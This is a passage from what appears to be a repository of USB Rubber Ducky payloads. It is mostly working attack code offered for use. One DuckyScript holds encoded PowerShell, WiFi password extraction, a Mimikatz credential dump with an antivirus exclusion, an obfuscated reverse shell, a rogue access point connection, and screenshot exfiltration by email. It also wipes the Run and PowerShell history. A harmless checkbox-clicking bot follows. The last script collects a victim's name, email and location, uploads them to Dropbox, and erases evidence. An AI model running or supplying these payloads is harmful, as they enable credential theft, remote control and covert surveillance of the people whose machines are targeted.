requires a properly obfuscated mimikatz bin.#\nREM #     * Be responsible.                                                     #\nREM #                                                                           #\nREM # Kudos:                                                                    #\nREM #     * RootJunky   -   \"Three Payloads from LOCK Key Double Press\"         #\nREM #     * 0i41E    -   \"EngagementDucky\", \"ReverseDuckyII\"                 #\nREM #     * the-jcksn   -   \"ducky_crab\"                                        #\nREM #     * I am Jakoby -   \"-RD-PineApple\"                                     #\nREM #     * Hak5 Team                                                           #\nREM #                                                                           #\nREM # Disclaimer:                                                               #\nREM #     *This program is free software: you can redistribute it and/or modify #\nREM #     it under the terms of the GNU General Public License as published by  #\nREM #     the Free Software Foundation, either version 3 of the License, or (at #\nREM #     your option) any later version.*                                      #\nREM #                                                                           #\nREM #     *You should have received a copy of the GNU General Public License    #\nREM #     along with this program. If not, see http://www.gnu.org/licenses/ *   #\nREM #                                                                           #\nREM #############################################################################\n\n\n\nREM >>> SETTINGS >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\nREM ~~~~~~~~~~~~ EDIT BELOW ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nDEFINE VID VID_D34D\nDEFINE PID PID_B33F\nDEFINE MAN MAN_Pentest\nDEFINE PROD PROD_DUCKY\nDEFINE SERIAL SERIAL_30062049\n\nDEFINE CLEANUP FALSE\n\nDEFINE LHOST 8.8.8.8\nDEFINE LPORT 69\nDEFINE BEACON icanhazip.com\n\nDEFINE OUTLOOK_USER user@outlook.com\nDEFINE OUTLOOK_PASS Password1!\n\nDEFINE CRAB_DELAY_SEC 60\nDEFINE CRAB_DURATION_MIN 10\n\nDEFINE PINEAPPLE_SSID PineApple\n\nREM ~~~~~~~~~~~~ EDIT ABOVE ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nREM <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< SETTINGS <<<\n\n\nREM >>> SETUP >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\n\nEXTENSION PASSIVE_WINDOWS_DETECT\n    REM VERSION 1.0\n    REM CONFIGURATION:\n    DEFINE MAX_WAIT 150\n    DEFINE CHECK_INTERVAL 20\n    DEFINE WINDOWS_HOST_REQUEST_COUNT 2\n    DEFINE NOT_WINDOWS 7\n\n    VAR $MAX_TRIES = MAX_WAIT\n    WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))\n        DELAY CHECK_INTERVAL\n        $MAX_TRIES = ($MAX_TRIES - 1)\n    END_WHILE\n    IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN\n        $_OS = WINDOWS\n    ELSE\n        $_OS = NOT_WINDOWS\n    END_IF\nEND_EXTENSION\n\nIF ($_OS == NOT_WINDOWS) THEN\n    ATTACKMODE STORAGE\n    WAIT_FOR_BUTTON_PRESS\n    STOP_PAYLOAD\nEND_IF\n\nBUTTON_DEF\n    DELAY 20\nEND_BUTTON\n\nATTACKMODE HID\nDELAY 1000\n\nFUNCTION RESET_LOCKS()\n    REM Set all Lock Keys to OFF position.\n    IF ($_CAPSLOCK_ON == TRUE ) THEN\n        CAPSLOCK\n    END_IF\n    IF ($_SCROLLLOCK_ON == TRUE ) THEN\n        SCROLLLOCK\n    END_IF\n    IF ($_NUMLOCK_ON == TRUE ) THEN\n        NUMLOCK\n    END_IF\nEND_FUNCTION\n\nRESET_LOCKS()\n\nREM <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< SETUP <<<\n\n\nREM >>> PAYLOAD 0 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\nREM | Open pop-up window with the Lock Keys combos cheatsheet.\n\nFUNCTION PAYLOAD0()\n    DELAY 500\n    GUI r\n    DELAY 500\n    STRINGLN powershell\n    DELAY 500\n    STRING $l = (\n    STRING 'Choose payload -> Press one -> Press two -> Repeat',\n    STRING 'P0 [-][-][-] : This window.',\n    STRING 'P1 [-][-][N] : Network info.',\n    STRING 'P2 [-][S][-] : Proof of Pwnage.',\n    STRING 'P3 [-][S][N] : User credentials.',\n    STRING 'P4 [C][-][-] : Reverse shell.',\n    STRING 'P5 [C][-][N] : Ducky_crab.',\n    STRING 'P6 [C][S][-] : Connect2pinapple.',\n    STRING 'P7 [C][S][N] : Storage.')\n    ENTER\n    STRINGLN $l = $l -join \"`n- \"\n    STRINGLN powershell -WindowStyle hidden -Command \"& {[System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms'); [System.Windows.Forms.MessageBox]::Show('- $l','~~~ duckin8or cheatsheet ~~~')}\"\nEND_FUNCTION\n\nREM <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< PAYLOAD 0 <<<\n\n\nREM >>> PAYLOAD 1 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\nREM | Open a proof of pwnage warning box and capture the screen. Save loot to REM | the SD card's root directyory\n\nFUNCTION PAYLOAD1()\n    ATTACKMODE HID STORAGE\n    DELAY 5000\n\n    GUI r\n    DELAY 500\n    STRINGLN powershell -NoP -NonI -w h\n    DELAY 500\n\n    STRINGLN powershell.exe -enc JABVACAAPQAgAHcAaABvAGEAbQBpADsAJABtAD0AIgAkAFUAIABpAHMAIABjAG8AbgBzAGkAZABlAHIAZQBkACAAYwBvAG0AcAByAG8AbQBpAHMAZQBkACEAIABUAGgAaQBzACAAaQBuAGMAaQBkAGUAbgB0ACAAdwBpAGwAbAAgAGIAZQAgAHIAZQBwAG8AcgB0AGUAZAAuACIAOwAkAEwAIAA9ACAARwBlAHQALQBEAGEAdABlAA0ACgBbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkAFcAaQB0AGgAUABhAHIAdABpAGEAbABOAGEAbQBlACgAIgBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAIgApADsAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAkAG0ALAAiACQATAAgAC0AIABQAHIAbwBvAGYAIABvAGYAIABDAG8AbQBwAHIAbwBtAGkAcwBlACIALAAwACwAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AEkAYwBvAG4AXQA6ADoARQB4AGMAbABhAG0AYQB0AGkAbwBuACkA;exit\n    DELAY 500\n\n    GUI r\n    DELAY 500\n    STRINGLN powershell -NoP -NonI -w h\n    DELAY 500\n\n    STRINGLN powershell.exe -enc JABZACAAPQAoACgAZwB3AG0AaQAgAHcAaQBuADMAMgBfAHYAbwBsAHUAbQBlACAALQBmACAAJwBsAGEAYgBlAGwAPQAnACcARABVAEMASwBZACcAJwAnACkALgBOAGEAbQBlACkAOwANAAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgACoAbQAuACoAcwAuAEYAKgBzADsADQAKAEEAZABkAC0AdAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIAAqAG0ALgBEAHIAKgBnADsADQAKACQAUwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAeQBzAHQAZQBtAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBdADoAOgBWAGkAcgB0AHUAYQBsAFMAYwByAGUAZQBuADsADQAKACQAVwAgAD0AIAAkAFMALgBXAGkAZAB0AGgAOwANAAoAJABIACAAPQAgACQAUwAuAEgAZQBpAGcAaAB0ADsADQAKACQARgAgAD0AIAAkAFMALgBMAGUAZgB0ADsADQAKACQAVAAgAD0AIAAkAFMALgBUAG8AcAA7AA0ACgAkAEIAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACAAJABXACwAIAAkAEgAOwANAAoAJABHACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAHIAYQB3AGkAbgBnAC4ARwByAGEAcABoAGkAYwBzAF0AOgA6AEYAcgBvAG0ASQBtAGEAZwBlACgAJABCACkAOwANAAoAJABHAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABGACwAIAAkAFQALAAgADAALAAgADAALAAgACQAQgAuAFMAaQB6AGUAKQA7AA0ACgAkAEIALgBTAGEAdgBlACgAJABZACsAIgBcAFAAcgBvAG8AZgAuAGIAbQBwACIAKQA7ACQAUgBEACAAPQAgACgAZwB3AG0AaQAgAHcAaQBuADMAMgBfAHYAbwBsAHUAbQBlACAALQBmACAAJwBsAGEAYgBlAGwAPQAnACcARABVAEMASwBZACcAJwAnACkALgBOAGEAbQBlADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AYwBvAG0ATwBiAGoAZQBjAHQAIABTAGgAZQBsAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AKQAuAE4AYQBtAGUAcwBwAGEAYwBlACgAMQA3ACkALgBQAGEAcgBzAGUATgBhAG0AZQAoACQAUgBEACkALgBJAG4AdgBvAGsAZQBWAGUAcgBiACgAJwBFAGoAZQBjAHQAJwApADsARQB4AGkAdAA=;exit\n    DELAY 2000\n    WAIT_FOR_STORAGE_INACTIVITY\nEND_FUNCTION\n\nREM <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< PAYLOAD 1 <<<\n\n\nREM >>> PAYLOAD 2 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\nREM | Exfiltrate network data such as public IP, local IP and WiFi credentials.\nREM | Save loot to the SD card's root directyory\n\nFUNCTION PAYLOAD2()\n    ATTACKMODE HID STORAGE\n    DELAY 5000\n\n    GUI r\n    DELAY 500\n    STRINGLN Powershell\n    DELAY 500\n    \n    STRINGLN $pubIP=(Invoke-WebRequest icanhazip.com -UseBasicParsing).Content\n    STRINGLN $networks = Get-WmiObject Win32_NetworkAdapterConfiguration -Filter \"DHCPEnabled=$True\" | ? {$_.IPEnabled}\n    STRINGLN $WiFi = Out-String -InputObject ((netsh wlan show profiles) | Select-String \":(.+)$\" | % {$name=$_.Matches.Groups[1].Value.Trim(); $_} | % {(netsh wlan show profile name=\"$name\" key=clear)} | Select-String \"Key Content\\W+\\:(.+)$\" | % {$pass=$_.Matches.Groups[1].Value.Trim(); $_} | % {[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize) -Width 100\n    DELAY 100\n    STRINGLN $RD=((gwmi win32_volume -f 'label=''DUCKY''').Name + 'network.txt')\n    DELAY 100\n    STRINGLN ($WiFi + $pubIP + $networks.ipaddress[0]) | Set-Content -Path $RD\n    DELAY 200\n    STRINGLN exit\nEND_FUNCTION\n\nREM <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< PAYLOAD 2 <<<\n\n\nREM >>> PAYLOAD 3 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\nREM | REQUIRES ADMIN PRIVILEGES. Exfiltrate users credentials with Mimikatz.\nREM | Beware that Ducky will expose the drive and AV might pick up on any \nREM | potential threats. Save loot to the SD card's root directyory\n\nFUNCTION PAYLOAD3()\n    ATTACKMODE HID STORAGE\n    DELAY 5000\n\n    GUI r\n    DELAY 500\n    STRING powershell\n    DELAY 500\n    CTRL-SHIFT ENTER\n    DELAY 500\n    LEFT\n    ENTER\n    DELAY 500\n\n    STRINGLN $RD = (gwmi win32_volume -f 'label=''DUCKY''').Name \n    DELAY 100\n    STRINGLN Import-Module Defender\n    DELAY 200\n    STRINGLN Set-MpPreference -ExclusionPath $RD\n    DELAY 100\n    STRINGLN cd $RD\n    DELAY 100\n    STRINGLN .\\mk.exe > $env:UserName`.txt -and type $env:UserName`.txt\n    DELAY 1500\n    STRINGLN privilege::debug\n    DELAY 200\n    STRINGLN sekurlsa::logonPasswords full\n    DELAY 666\n    STRINGLN exit\n    DELAY 100\n    STRINGLN Remove-MpPreference -ExclusionPath $RD\n    DELAY 100\n    STRINGLN exit\nEND_FUNCTION\n\nREM <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< PAYLOAD 3 <<<\n\n\nREM >>> PAYLOAD 4 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\nREM | Open a simple TCP reverse shell through a powershell session.\n\nFUNCTION PAYLOAD4()\n    DELAY 500\n    GUI r\n    DELAY 500\n    STRINGLN powershell -NoP -NonI -w h\n    DELAY 500\n\n    STRING $c=nEw-oBjECt SYstEm.NEt.SOcKEts.TCPClIEnt(\"\n    STRING LHOST\n    STRING \",\n    STRING LPORT\n    STRING  );$s=$c.GetSTreAm();[byte[]]$b=0..65535|%{0};whILe(($i=$s.REad($b,0,$b.LeNgTh))-ne 0){;$d=(NEw-OBjeCT -TYpeNamE sYsTeM.TeXt.ASCIIEncoding).GetStRIng($b,0,$i);$z=(ieX $d 2>&1|oUt-STriNG);$x=$z+\"Ducky@PS \"+(pwd)+\"> \";$y=([text.encoding]::ASCII).GEtByTEs($x);$s.WrIte($y,0,$y.LEnGTh);$s.FlUSh()};$c.CloSE();exit\n    ENTER\nEND_FUNCTION\n\nREM <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< PAYLOAD 4 <<<\n\n\nREM >>> PAYLOAD 5 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\nREM | Prepare an XML file with rogue Pineapple credentials and connect to it.\n\nFUNCTION PAYLOAD5()\n    DELAY 500\n    GUI r\n    DELAY 500\n    STRINGLN powershell\n    DELAY 500\n\n    STRING $f=\"Home.xml\";\n    STRING $SSID=\"\n    STRING PINEAPPLE_SSID\n    STRING \";\n    STRING $SSIDHEX=($SSID.ToCharArray() |foreach-object {'{0:X}' -f ([int]$_)}) -join'';\n    STRING $xmlfile=\"<?xml version=\"\"1.0\"\"?><WLANProfile xmlns=\"\"http://www.microsoft.com/networking/WLAN/profile/v1\"\"><name>$SSID</name><SSIDConfig><SSID><hex>$SSIDHEX</hex><name>$SSID</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><MSM><security><authEncryption><authentication>open</authentication><encryption>none</encryption><useOneX>false</useOneX></authEncryption></security></MSM></WLANProfile>\";$XMLFILE > ($f);netsh wlan add profile filename=\"$($f)\";netsh wlan connect name=$SSID;exit\n    ENTER\nEND_FUNCTION\n\nREM <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< PAYLOAD 5 <<<\n\n\nREM >>> PAYLOAD 6 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\nREM | Gives \"screen crab\" like capabilities to the USB rubber ducky. Creates a \nREM | powershell script that captures screenshots and exfiltrates them via outlook,\nREM | even after the USB rubber ducky has been removed.\n\nFUNCTION PAYLOAD6()\n    DELAY 500\n    GUI r\n    DELAY 500\n    STRINGLN powershell\n    DELAY 200\n    STRINGLN Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope CurrentUser\n    DELAY 200\n\n    STRINGLN New-Item -Path 'Pictures' -Name 'screens.ps1' -ItemType file\n    DELAY 200\n\n    STRINGLN \"cd C:\\Users\\$env:username\\ `nNew-Item -Path 'C:\\Users\\$env:username\\Pictures\\Screens\\' -ItemType Directory\" | Out-File Pictures\\screens.ps1 -Append\n    DELAY 200\n\n    STRING \"`$t = new-timespan -Minutes \n    STRING CRAB_DURATION_MIN\n    STRING \" | Out-File Pictures\\screens.ps1 -Append\n    ENTER\n    DELAY 200\n\n    STRINGLN \"`$clk = [diagnostics.stopwatch]::StartNew() `nwhile (`$clk.elapsed -lt `$t){ `n[void][reflection.assembly]::loadwithpartialname('system.windows.forms') `n`$S = [System.Windows.Forms.SystemInformation]::VirtualScreen `n`$Width = `$S.Width `n`$Height = `$S.Height `n`$Left = `$S.Left `n`$Top = `$S.top `n`$bmp = New-Object System.Drawing.Bitmap `$Width, `$Height `n`$g = [System.Drawing.Graphics]::FromImage(`$bmp) `n`$g.CopyFromScreen(`$Left, `$Top, 0, 0, `$bmp.Size) `n`$enddate = (Get-Date).tostring('ddMMyy-hh_mm_ss') `n`$fn = `$enddate + '.gif' `n`$bmp.Save('C:\\Users\\$env:Username\\Pictures\\Screens\\' + `$fn) `nstart-sleep -seconds 10\" | Out-File Pictures\\screens.ps1 -Append\n    DELAY 200\n\n    STRING \"Send-MailMessage -From\n    STRING  OUTLOOK_USER\n    STRING  -To\n    STRING  OUTLOOK_USER\n    STRING  -Subject `\"Screenshot loot`\" -Body `\"Please find attached your screenshot update`\" -Attachment `\"Pictures\\Screens\\`$fn`\" -SmtpServer smtp-mail.outlook.com -Port 587 -UseSsl -Credential (New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList\n    STRING  OUTLOOK_USER\n    STRING , (ConvertTo-SecureString -String `\"\n    STRING OUTLOOK_PASS\n    STRING `\" -AsPlainText -Force))\" | Out-File Pictures\\screens.ps1 -Append\n    ENTER\n    DELAY 200\n\n    STRING \"start-sleep -seconds \n    STRING CRAB_DELAY_SEC\n    STRING  `n} `nSet-ExecutionPolicy -ExecutionPolicy Undefined -Scope CurrentUser `nGet-ChildItem Pictures\\Screens -Include *.* -Recurse | ForEach {`$_.Delete()} `nRemove-Item Pictures\\screens -Confirm:`$false `nRemove-Item Pictures\\screens.ps1 -Force `nexit\" | Out-File Pictures\\screens.ps1 -Append\n    ENTER\n    DELAY 200\n    STRINGLN exit\n    DELAY 300\n    \n    REM Run the prepared script.\n    GUI r\n    DELAY 500\n    STRINGLN powershell -w h -File \"%USERPROFILE%\\Pictures\\screens.ps1\"\n    DELAY 1000\nEND_FUNCTION\n\nREM <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< PAYLOAD 6 <<<\n\n\nREM >>> PAYLOAD 7 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\nREM | Storage mode. Press button to stop sharing.\n\nFUNCTION PAYLOAD7()\n    ATTACKMODE STORAGE\n    DELAY 5000\n    WAIT_FOR_BUTTON_PRESS\n    $_BUTTON_PUSH_RECEIVED = FALSE\nEND_FUNCTION\n\nREM <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< PAYLOAD 7 <<<\n\n\nREM >>> MAIN >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\nREM | Constantly monitor Scroll Lock, Num Lock, and Caps Lock keys with a while\nREM | loop and run appropriate payload when the button is pressed. All Lock keys\nREM | will blink when finished. Press again to go back to menu.\n\nWHILE (TRUE)\n    IF ($_BUTTON_PUSH_RECEIVED == TRUE ) THEN\n        DELAY 100\n        $_BUTTON_PUSH_RECEIVED = FALSE\n        DISABLE_BUTTON\n        SAVE_ATTACKMODE\n        \n        IF (($_CAPSLOCK_ON == FALSE) && (($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE))) THEN\n            RESET_LOCKS()\n            PAYLOAD0()\n        ELSE IF (($_CAPSLOCK_ON == FALSE) && (($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == TRUE))) THEN\n            RESET_LOCKS()\n            PAYLOAD1()\n        ELSE IF (($_CAPSLOCK_ON == FALSE) && (($_NUMLOCK_ON == TRUE) && ($_SCROLLLOCK_ON == FALSE))) THEN\n            RESET_LOCKS()\n            PAYLOAD2()\n        ELSE IF (($_CAPSLOCK_ON == FALSE) && (($_NUMLOCK_ON == TRUE) && ($_SCROLLLOCK_ON == TRUE))) THEN\n            RESET_LOCKS()\n            PAYLOAD3()\n        ELSE IF (($_CAPSLOCK_ON == TRUE) && (($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE))) THEN\n            RESET_LOCKS()\n            PAYLOAD4()\n        ELSE IF (($_CAPSLOCK_ON == TRUE) && (($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == TRUE))) THEN\n            RESET_LOCKS()\n            PAYLOAD5()\n        ELSE IF (($_CAPSLOCK_ON == TRUE) && (($_NUMLOCK_ON == TRUE) && ($_SCROLLLOCK_ON == FALSE))) THEN\n            RESET_LOCKS()\n            PAYLOAD6()\n        ELSE IF (($_CAPSLOCK_ON == TRUE) && (($_NUMLOCK_ON == TRUE) && ($_SCROLLLOCK_ON == TRUE))) THEN\n            RESET_LOCKS()\n            PAYLOAD7()\n        END_IF\n\n        RESTORE_ATTACKMODE\n        DELAY 1000\n\n        IF (CLEANUP == TRUE) THEN\n            GUI r\n            DELAY 500\n            STRINGLN powershell -WindowStyle Hidden -Exec Bypass \"Remove-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' -Name '*' -ErrorAction SilentlyContinue\"; Remove-Item (Get-PSreadlineOption).HistorySavePath\n        END_IF\n\n        ENABLE_BUTTON\n        RESET_LOCKS()\n        $_BUTTON_PUSH_RECEIVED = FALSE\n        DELAY 100\n        WHILE ($_BUTTON_PUSH_RECEIVED == FALSE )\n            DELAY 100\n            CAPSLOCK\n            SCROLLLOCK\n            NUMLOCK\n            DELAY 100\n            CAPSLOCK\n            SCROLLLOCK\n            NUMLOCK\n        END_WHILE\n        $_BUTTON_PUSH_RECEIVED = FALSE\n        DELAY 100\n        RESET_LOCKS()\n        DELAY 100\n    END_IF\nEND_WHILE\n\nREM <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< MAIN <<<\n"
  },
  {
    "path": "payloads/library/general/onemillioncheckboxes_checker/payload.txt",
    "content": "REM_BLOCK Documentation\n    Title: OneMillionCheckboxes.com bot\n    Author: Korben\n    Description: Automatically checks or unchecks boxes at a constant rate slow enough to not get \n    throttled by the server. https://twitter.com/itseieio/status/1805986839058079896\n    Tested with chrome on ubuntu. Milage may vary.\n    \n    Usage: Open https://onemillioncheckboxes.com/, hit tab, press button on your ducky to start or stop the automation\nEND_REM\n\nATTACKMODE HID STORAGE\nVAR $RUN = FALSE\nLED_OFF\nBUTTON_DEF\n    IF $RUN THEN\n        $RUN = FALSE\n        LED_R\n    ELSE\n        $RUN = TRUE\n         LED_G\n    END_IF\nEND_BUTTON\n\nWHILE TRUE\n    WHILE $RUN\n        TAB\n        DELAY 100\n        SPACE\n        DELAY 100\n    END_WHILE\n    DELAY 100\nEND_WHILE\n"
  },
  {
    "path": "payloads/library/incident_response/-RD-ET-Phone-Home/ET-Phone-Home.ps1",
    "content": "\n############################################################################################################################################################                      \n#                                  |  ___                           _           _              _             #              ,d88b.d88b                     #                                 \n# Title        : ET-Phone-Home     | |_ _|   __ _   _ __ ___       | |   __ _  | | __   ___   | |__    _   _ #              88888888888                    #           \n# Author       : I am Jakoby       |  | |   / _` | | '_ ` _ \\   _  | |  / _` | | |/ /  / _ \\  | '_ \\  | | | |#              `Y8888888Y'                    #           \n# Version      : 1.0               |  | |  | (_| | | | | | | | | |_| | | (_| | |   <  | (_) | | |_) | | |_| |#               `Y888Y'                       #\n# Category     : GENERAL           | |___|  \\__,_| |_| |_| |_|  \\___/   \\__,_| |_|\\_\\  \\___/  |_.__/   \\__, |#                 `Y'                         #\n# Target       : Windows 7,10,11   |                                                                   |___/ #           /\\/|_      __/\\\\                  #     \n# Mode         : HID               |                                                           |\\__/,|   (`\\ #          /    -\\    /-   ~\\                 #             \n#                                  |  My crime is that of curiosity                            |_ _  |.--.) )#          \\    = Y =T_ =   /                 #      \n#                                  |   and yea curiosity killed the cat                        ( T   )     / #   Luther  )==*(`     `) ~ \\   Hobo          #                                                                                              \n#                                  |    but satisfaction brought him back                     (((^_(((/(((_/ #          /     \\     /     \\                #    \n#__________________________________|_________________________________________________________________________#          |     |     ) ~   (                #\n#                                                                                                            #         /       \\   /     ~ \\               #\n#  github.com/I-Am-Jakoby                                                                                    #         \\       /   \\~     ~/               #         \n#  twitter.com/I_Am_Jakoby                                                                                   #   /\\_/\\_/\\__  _/_/\\_/\\__~__/_/\\_/\\_/\\_/\\_/\\_#                     \n#  instagram.com/i_am_jakoby                                                                                 #  |  |  |  | ) ) |  |  | ((  |  |  |  |  |  |#              \n#  youtube.com/c/IamJakoby                                                                                   #  |  |  |  |( (  |  |  |  \\\\ |  |  |  |  |  |#\n############################################################################################################################################################\n\n<#\n.SYNOPSIS\n\tThis script is meant to recover your device or as an advanced recon tactic to get sensitive info on your target \n\n.DESCRIPTION \n\tThis program is used to locate your stolen cable. Or perhaps locate your \"stolen\" cable if you left it as bait. \n\tThis script will get the Name and email associated with the targets microsoft account\n\tTheir geo-location will also be grabbed giving you the latitude and longitude of where your device was activated\n#>\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\n$FileName = \"$env:USERNAME-$(get-date -f yyyy-MM-dd_hh-mm)_Device-Location.txt\"\n \n #------------------------------------------------------------------------------------------------------------------------------------\n \n function Get-fullName {\n\n    try {\n\n    $fullName = Net User $Env:username | Select-String -Pattern \"Full Name\";$fullName = (\"$fullName\").TrimStart(\"Full Name\")\n\n    }\n \n # If no name is detected function will return $env:UserName \n\n    # Write Error is just for troubleshooting \n    catch {Write-Error \"No name was detected\" \n    return $env:UserName\n    -ErrorAction SilentlyContinue\n    }\n\n    return $fullName \n\n}\n\n$FN = Get-fullName\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\nfunction Get-email {\n    \n    try {\n\n    $email = GPRESULT -Z /USER $Env:username | Select-String -Pattern \"([a-zA-Z0-9_\\-\\.]+)@([a-zA-Z0-9_\\-\\.]+)\\.([a-zA-Z]{2,5})\" -AllMatches;$email = (\"$email\").Trim()\n\treturn $email\n    }\n\n# If no email is detected function will return backup message for sapi speak\n\n    # Write Error is just for troubleshooting\n    catch {Write-Error \"An email was not found\" \n    return \"No Email Detected\"\n    -ErrorAction SilentlyContinue\n    }        \n}\n\n$EM = Get-email\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\nfunction Get-GeoLocation{\n\ttry {\n\tAdd-Type -AssemblyName System.Device #Required to access System.Device.Location namespace\n\t$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object\n\t$GeoWatcher.Start() #Begin resolving current locaton\n\n\twhile (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {\n\t\tStart-Sleep -Milliseconds 100 #Wait for discovery.\n\t}  \n\n\tif ($GeoWatcher.Permission -eq 'Denied'){\n\t\tWrite-Error 'Access Denied for Location Information'\n\t} else {\n\t\t$GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevent results.\n\t}\n\t}\n    # Write Error is just for troubleshooting\n    catch {Write-Error \"No coordinates found\" \n    return \"No Coordinates found\"\n    -ErrorAction SilentlyContinue\n    } \n\n}\n\n$GL = Get-GeoLocation\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\necho $FN >> $env:TMP\\$FileName\necho $EM >> $env:TMP\\$FileName\necho $GL >> $env:TMP\\$FileName\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\n# Upload output file to dropbox\n\n$DropBoxAccessToken = \"YOUR-DROPBOX-ACCESS-TOKEN\"\n$TargetFilePath=\"/$FileName\"\n$SourceFilePath=\"$env:TMP\\$FileName\"\n$arg = '{ \"path\": \"' + $TargetFilePath + '\", \"mode\": \"add\", \"autorename\": true, \"mute\": false }'\n$authorization = \"Bearer \" + $DropBoxAccessToken\n$headers = New-Object \"System.Collections.Generic.Dictionary[[String],[String]]\"\n$headers.Add(\"Authorization\", $authorization)\n$headers.Add(\"Dropbox-API-Arg\", $arg)\n$headers.Add(\"Content-Type\", 'application/octet-stream')\nInvoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers\n\n#------------------------------------------------------------------------------------------------------------------------------------\n\n<#\n\n.NOTES \n\tThis is to clean up behind you and remove any evidence to prove you were there\n#>\n\n# Delete contents of Temp folder \n\nrm $env:TEMP\\* -r -Force -ErrorAction SilentlyContinue\n\n# Delete run box history\n\nreg delete HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /va /f\n\n# Delete powershell history\n\nRemove-Item 